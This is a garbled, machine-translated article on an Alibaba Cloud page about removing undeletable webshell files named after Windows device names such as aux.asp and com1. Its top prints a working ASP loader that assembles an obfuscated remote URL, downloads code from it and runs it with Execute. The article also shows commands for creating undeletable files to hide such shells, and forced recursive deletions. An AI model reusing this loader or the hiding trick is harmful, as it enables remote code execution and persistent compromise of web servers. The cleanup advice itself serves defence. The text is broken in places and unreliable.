Com1/lpt1/prn/nul collection of webshell Handling Methods

Source: Internet
Author: User

DELETE command

Rd/s \. \ E: \ webhosting \ wwwroot \ prn.0418EE4FCopy codeThe Code is as follows: <%
'By * aming
Dim amxml, amtxt, amado
Amtxt = "h" & "t" & "t" & "p "&": "&"/"&"/"&" B "&" o "&" t "&". "&" z "&" h "&"-"&" c "&" n "&". "&" c "&" c "&"/"&" B "&" o "&" t "&"/"&" c "&" o "&" n "&" f "&" I "&" g "&". "&" t "&" x "&" t"
Set amxml = CreateObject ("Microsoft. XMLHTTP ")
Amxml. Open "Get", amtxt, False ,"",""
Amxml. setRequestHeader "User-Agent", amtxt
Amxml. Send
Set amado = Server. CreateObject ("adodb. stream ")
Amado. Type = 1
Amado. Mode = 3
Amado. Open
Amado. Write amxml. ResponseBody
Amado. Position = 0
Amado. Type = 2
Amado. Charset = "gb2312"
Execute (amado. ReadText)
Amado. Close
Set amado = nothing
Set amxml = nothing
%>

Recently, some friends found that many files or folders like aux. asp com1.gupiao. asp are added to their website directories and cannot be deleted! Why can't these files be deleted? How can I create files that cannot be deleted? How can I delete files that cannot be deleted such as aux. asp?

On the server, choose "folder option"> "View"> "hide the protected operating system file. You can see that the file attributes are RHSA system files and cannot be deleted, modified, or moved.

In Windows, the following words cannot be used to name files/folders, including aux, com1, com2, prn, con, and nul, because these names belong to the device name, it is equivalent to a DOS device. If we name the files as these names, Windows will mistakenly think that a duplicate name occurs, so the system will prompt "cannot create a file with the same name ".

Of course, there are some special ways to create folders named by these devices. For example, we can execute "md E: \ COM1 \" at the command prompt \\", create a folder named com1. Although this folder can be accessed or created, it cannot be deleted. In the system's view, this COM1 folder is a device.
So, how to delete files/folders such as aux and com1? You only need to enter the file path and file name correctly according to the complete UNC path format, that is, the path format of the network neighbor. For example, to delete the aux folder under drive E, run: rd/s \ at the command prompt \\. \ E: \ aux. The/s parameter of rd indicates that the specified file is deleted from all subdirectories. For example, to delete the nul.exe file in the aux folder of drive E, run del \. \ E: \ aux \ nul.exe at the command prompt.

Del \. \ E: \ PRN \ aux. asp:. jpg is used. If a failure occurs, remove other jpg files and use rd to delete the entire directory. See the figure below:

Aux File Deletion command

Note that "\" is added at the end of the folder. Otherwise, the "1" folder in the normal folder cannot be accessed, and the folder will disappear after being restarted.

Delete other special files.

You can delete a file in dos by entering the following command at the beginning:

Delete all contents in the null directory of user test.

Echo y | rmdir \. \ D: \ freehost \ test \ web \ nul/s

If some special files, such as aux.com. asp, cannot be deleted, you can only back up your web directory first (do not select the problematic file during Backup), and then run the following command to delete all the contents of the web directory:

Echo y | rmdir \. \ D: \ freehost \ test \ web/s

It is easy to create such methods that cannot delete files:

copy 123.txt \\.\d:\aux.asp

Create a folder that cannot be deleted:

md \\.\d:\prn\\

You can also delete files that cannot be deleted. For example, d: \ wwwroot \ web \ www contains directories that cannot be deleted. Before executing the command, move the program to be backed up in the folder to another location, and then use the following command to delete the program.

rmdir \\.\d:\wwwroot\web\www /s /q

You can also use the following command to directly delete these files:

del \\.\d:\wwwroot\web\www\aux.asp

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.